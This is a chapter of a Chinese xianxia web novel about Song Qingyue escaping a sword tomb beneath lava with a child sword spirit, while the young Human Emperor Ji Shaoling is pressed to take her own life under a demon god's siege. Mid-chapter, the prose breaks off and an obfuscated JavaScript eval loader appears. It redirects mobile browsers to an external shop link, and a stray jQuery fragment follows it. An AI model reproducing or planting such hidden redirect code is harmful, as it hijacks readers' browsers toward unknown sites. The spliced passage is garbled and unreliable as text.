“人皇剑冢?”宋清钺从未听说过这样的地方。
烬尽解释道:“在东胜王朝,帝王继位后,命匠人铸就一把人皇剑,在向天地吟唱祭词时,手持剑柄舞动于它。”
跟宋清钺了解到的信息一样。
人皇剑对修士而言,具有强大的威胁力。
它厉害之处,归根结底不在于锋利的剑刃,而在于人皇剑的持有者人皇。
不管何种境界的修士,在人皇所附加的天地法则和气运面前,境界倒退,法力消失,变成一个凡人。
可以说,在人皇面前,修真者的相较于凡人的优势不存。
烬尽转身,将林立人皇剑丛尽收眼底:“待驾崩之后,加注于帝王上的人皇气运断绝。”
“随身的人皇剑,由于残留旧主气息,新一任帝王为了更好的承袭全部人皇气运,选择将其抛入岩浆之中焚毁。”
“久而久之,便在这岩浆之下,人皇剑靠着残留的人皇气运,自形成一方世界,成为了人皇剑冢。”
宋清钺仰头,岩浆浆液在上方稠滞涌动,仅仅隔着一层薄薄的灵力罩,柔而不泄,如同鸡蛋内的凤凰衣,透明而又轻韧。
暗红的火光映在烬尽的脸颊上,妖冶娇媚:“而我是人皇剑冢内第一个把剑,第一个剑灵。
“整个剑冢的保护罩,就是由我制造,由我维持。为的就是给每一个人皇剑一个家。”
“可你很奇怪。”烬尽脸在宋清钺面前猛的放大。
“我?”宋清钺把头往后撤,放大与烬尽的距离,“我怎么奇怪了?”
“不是人皇剑,身上却带有人皇的气息。”烬尽凑到宋清钺脖子上嗅了嗅,“而且还很浓郁。你是人皇?还是人皇的孩子?”
“是人皇的孩子。”据她所知,她父亲和母亲都是人皇。
“那个人皇?”
声音轻柔,却震得宋清钺头皮猛的发麻。
她活了二百多年,近三百年,却只在东胜王朝待了五年,在她长久的生命当中,时间短的实在是微不足道,问起来,不知如何回答。
再者母亲将她从皇室除名,断绝亲缘,废为庶人,令她永生不许返回家乡。
她仗着转生,心想血肉筋骨重造,反正与以往不同,心存侥幸的跑来。
可现实表明,神魂转世,不光让她有与前生相同的外貌,还相同的骨血,连灵魂气质都相同。
宋清钺眼神飘忽,顾左右而言他道:“那个烬尽。”
“我总是待在这里,也不行,毕竟我不是一把剑,而是活生生的人,你知道怎么离开吗?”
“真没意思。”好不容易来一个人,烬尽还以为能多聊一会儿。
指了指头顶道:“你怎么来的,就怎么回去呗。”
宋清钺再次抬头,浓重的岩浆依旧缓缓蠕行,一眼望不到底,稍一静下,沉沉滞在原地。
“怎么啦,小娃娃,害怕了。”烬尽把手放在她的脸颊上,冰冰凉凉的划到她的额角,满是慈爱。
“我感受到了你内心的恐惧。”
“是的,我害怕了。”深刻的死过两次,才知性命无价。
要是再一不小心,把小命搞没了,再重来,她现在可没抱什么势必飞升执念,说不准到时候,真的什么都不记得了。
“下坠要比上升的速度快,岩浆温度极高,我担心我还没飞上去,人就被岩浆烧死了。”
“你能用灵力造出守护剑冢的罩子,有办法造出能护我安然无恙的罩子吗?”
烬尽拒绝:“恐怕不能,把守护剑冢的罩子灵力分给了你,剑冢就保不住了呀。”
头顶上岩浆仍然暗流涌动,宋清钺不死心:“你身为一把剑,我能用你劈开一条路吗?”
生出剑灵的剑本就少见,而长出实体,拥有自我意志的剑灵,她听都没听说过。
如果烬尽以面前的形态,在外现身,恐怕会引发修真界的众人哄抢,进而导致大乱。
“不行,绝对不行。”烬尽抱着胳膊,往后跳了一步,连忙拒绝,“只有我的主人能使用我,别的人不行。”
意料之内,剑灵自主人意念诞生,高度忠诚于主人,有自主意识的剑灵,更是如此,除非获得剑灵的认可。
才能甘心被驱使。
“那我……”
宋清钺退而求其次,用手指指向一个小丫头剑灵,再次提议:“用别的剑可以吗?”
小丫头剑灵立即欢欣鼓舞:“太好了,我终于可以出去了。”
飘向宋清钺,围着她的转圈:“说好了,不准反悔。一定要带我出去,不准用完,就把我丢在一旁。”
“否则,我要你好看。”小丫头剑灵用可爱的语气威胁宋清钺。
转而换了一副面孔飘到烬尽面前,百般恳求道:“烬尽姐姐,你也不要拦我,也不要劝我。”
“我知道她没我的主人美,也没我的主人有能力,但我还要替主人完成她未了的心愿,必须出去的。”
烬尽眼睛在宋清钺身上转了一圈,又回到了小女孩儿剑灵身上,“销骨,你的主人在临终前日夜思念她的女儿,你也因此幻化成小女孩儿模样。”
“算算时间,已经二百多年了,凡人百年,那女孩儿估计早已不在人世了。”
销骨伸了伸自己的短胳膊:“万一呢?我主人一直念着。”
“主人死后,我们会因主人的执念,幻化成主人最后想见一个人,我身体这么小,那女孩儿万一尚在人世呢?”
“而且,这个女孩儿的眼睛跟我主人一样,万一她跟我主人有联系呢?”
宋清钺若有所思的眨了眨眼。
在前生,师父说她眼眸如冰,无悲无喜,站在人前,浑身上下透着不近人情的气质,非常符合旁人对无情道的刻板印象。
…………
东胜王朝新任帝王姬少泠,此时正在人皇陵祭坛处,向天道进行祷告。
东胜王朝已经到了最危险的时候,身为人皇她无力护佑万民,身为凡人她无法与魔神对抗。
手持人皇剑,在巫乐中跳完最后一支祈福舞蹈,姬少泠迫不及待询问:“丞相,修真宗派仙门还没有回应吗?”
丞相无可奈何的摇了摇头。
“上清有没有呢?”姬少泠紧紧握住手中剑,希望听到不一样的回答。
她小时候,听年长的宫人讲,根据皇室典籍记载,皇室之内有一人,曾拜入上清门中,姬少泠以为能凭借这层关系,上清会派仙人进行救助。
“没有。”丞相的答案依旧。
她通过人皇帖,写明事件缘由,向王朝外的仙门求救,可石沉大海,一丝回应都没有。
魔神无视天地法则束缚,在他的继任大典上,残忍杀害王朝的国师。
想起国师与那魔神拼死对抗情形,姬少泠就一阵胆颤。
“找到魔神想要的灵魂了吗?。”姬少泠把恐惧的念头压下去。
提醒自己是人皇,尽人皇的责任,为自己和臣子们寻找生路。
魔神把所有皇室成员,王公大臣都赶进了人皇陵,派人查封了所有出入路口,为他寻找一个女人的灵魂。
向外求助不得,向内又无法自救,只能把希望放在施暴者身上,希望满足了他的愿望,大发善心,放了她们。
“没有。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943168|213991||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
丞相的话给了姬少泠当头一棒。
“不可能。”
“那魔神把我们关在这里面三十天了,这人皇陵里里外外都翻遍了,不管是什么孤魂野鬼,都该被捕魂网捉到了。”
“我亲眼看着国师,把那个女人扔进了岩浆内的。”
随后电闪雷鸣,滚滚天雷径直劈落,正中国师。
雷光炸裂,国师肉身瞬间崩碎,漫天血雾四散飞溅。
那魔神轻轻摇动手中风扇,扇风一扫,便将漫天血雾驱得四散飞开。
在东胜王朝,修士杀凡人就遭如此天谴。
所以姬少泠现在不相信丞相的说辞,十分笃定道:“那女人不过一凡人,灵魂无意识,好捉的很。”
更何况她继位的第一时间,就让人用捕魂网围住了火山口,多强硬的灵魂都逃脱不了。
找不到魔神想要的灵魂该怎么办。
魔神不是修士,是魔,也是神,不受天地法则的束缚。
上一任人皇,是她的哥哥,在位时间三天,因国师之死,怒骂魔神,被魔神贯穿心脏而死。
天谴并没有按照预料中降下,而她的哥哥姐姐们见此情景,全员崩溃,跪地向魔神求饶。
她自幼长在深宫,几近放养,不懂什么天地法则,一时之间没搞清楚她们在崩溃什么?
直愣愣的站在原地。
当哥哥姐姐们互相退让,把人皇的冠冕扔到她怀中时,还在懵懵懂懂。
姬少泠摸了摸头上冠冕想,如果找不到女人的灵魂,应该会跟哥哥一样的死法吧。
毕竟她现在是人皇了。
“陛下,别找了。”
“什么?”姬少泠一时以为自己听错了。不找了,魔神怎么会善罢甘休。
丞相看着十六岁的少女稚嫩的脸庞,无奈的闭上眼睛,从齿缝中勉强挤出几个字:“向魔神自刎谢罪吧。”
“什么?”姬少泠后脊背冷汗直流,人皇自刎谢罪。
谢罪?谢什么罪?
指望着靠她自刎,换取这些人平安吗?
“小妹,自刎吧。”是以他二哥为首的哥哥姐姐们,站在她面前请求道。
“魔神要的灵魂,我们找不到,必须要给一个交代。”
姬少泠冷冷的看向二哥,当初魔神把人皇冠冕递给他时,跪在的最低,哭的最狠。
“所以用我的脑袋给出交代,为什么不用你的脑袋?”
二哥冠冕堂皇说道:“小妹你现在身为人皇,应该学会考虑大局。”
“我们这么多人,困在人皇陵,日夜不歇的寻找看不见的灵魂,希望实在是缥缈,不如……”
“不如用我的命,换你们苟活。”姬少泠拔出人皇剑,扔在二哥面前。
这把人皇剑开了刃,锋利无比,是姬少泠来不及找铸剑的匠人,找侍卫借了一把,临时替代的。
“你以为魔神就那么好说话?”姬少泠强硬的回怼二哥。
“现在人皇的命不值钱,你想想大哥是怎么死的。”
“我告诉你们,我如果自刎了,你们也活不了。”
这绝对不止她二哥一个人的打算,这群平日养尊处优的人,不准携带奴仆,在人皇陵吃苦受累,心里早就哀声哉道。
姬少泠抬头望天,心中暗暗起誓:天道,我以人皇的名义恳求于你,助我摆脱困境,若能如愿,来日以我皇室血肉生祭与你。
正在此时,熔岩翻腾,赤火漫天。
宋清钺携剑自岩浆深处一跃而出,衣袂掠起漫天飞溅的火珠。剑光破开滚滚热浪,周身灵力护罩流转,将翻涌的熔岩尽数挡在身外。